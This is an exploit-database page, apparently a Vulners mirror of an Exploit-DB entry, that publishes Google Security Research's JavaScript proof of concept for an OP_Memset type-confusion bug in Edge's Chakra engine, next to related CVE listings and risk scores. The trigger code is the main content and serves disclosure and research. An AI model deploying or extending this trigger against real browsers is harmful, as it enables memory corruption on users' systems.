Lucene search
K

Microsoft Edge Chakra - OP_Memset Type Confusion

🗓️ 19 Nov 2018 00:00:00Reported by Google Security ResearchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

Microsoft Edge Chakra - OP_Memset Type Confusion patc

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Microsoft Edge Chakra - OP_Memset Type Confusion Exploit
19 Nov 201800:00
zdt
ATTACKERKB
CVE-2018-8372
15 Aug 201800:00
attackerkb
ATTACKERKB
CVE-2018-8390
15 Aug 201800:00
attackerkb
ATTACKERKB
CVE-2018-8389
15 Aug 201800:00
attackerkb
ATTACKERKB
CVE-2018-8385
15 Aug 201800:00
attackerkb
ATTACKERKB
CVE-2018-8373
15 Aug 201800:00
attackerkb
CNVD
Microsoft Internet Explorer and Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2018-16174)
15 Aug 201800:00
cnvd
Check Point Advisories
Microsoft Browser Scripting Engine Memory Corruption (CVE-2018-8372)
14 Aug 201800:00
checkpoint_advisories
CVE
CVE-2018-8372
15 Aug 201817:00
cve
Cvelist
CVE-2018-8372
15 Aug 201817:00
cvelist
Rows per page
/*
Since the patch for CVE-2018-8372, it checks all inputs to native arrays, and if any input equals to the MissingItem value which can cause type confusion, it starts the bailout process. But it doesn't check the "value" argument to OP_Memset. This can be exploited in the same way as for   issue 1581  .

PoC:
*/

function memset(arr, value, n) {
    for (let i = 0; i < n; i++) {
        arr[i] = value;
    }
}

function trigger(arr, buggy) {
    let tmp = [1];

    arr.length;

    let res = tmp.concat(buggy);
    arr[0] = 0x1234;
    arr[1] = 0;
}

function main() {
    let tmp = (new Array(100)).fill(1);
    for (let i = 0; i < 500; i++) {
        memset(tmp, 1, tmp.length);
        trigger(tmp, [1]);
    }

    setTimeout(() => {
        let buggy = [1];
        let arr = [1, 2];

        arr.getPrototypeOf = Object.prototype.valueOf;

        buggy.__proto__ = new Proxy({}, arr);

        memset(buggy, -524286, 1);
        trigger(arr, buggy);

        alert(arr);
    }, 100);
}

main();

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Nov 2018 00:00Current
7High risk
Vulners AI Score7
CVSS 37.5
CVSS 27.6
EPSS0.48779
39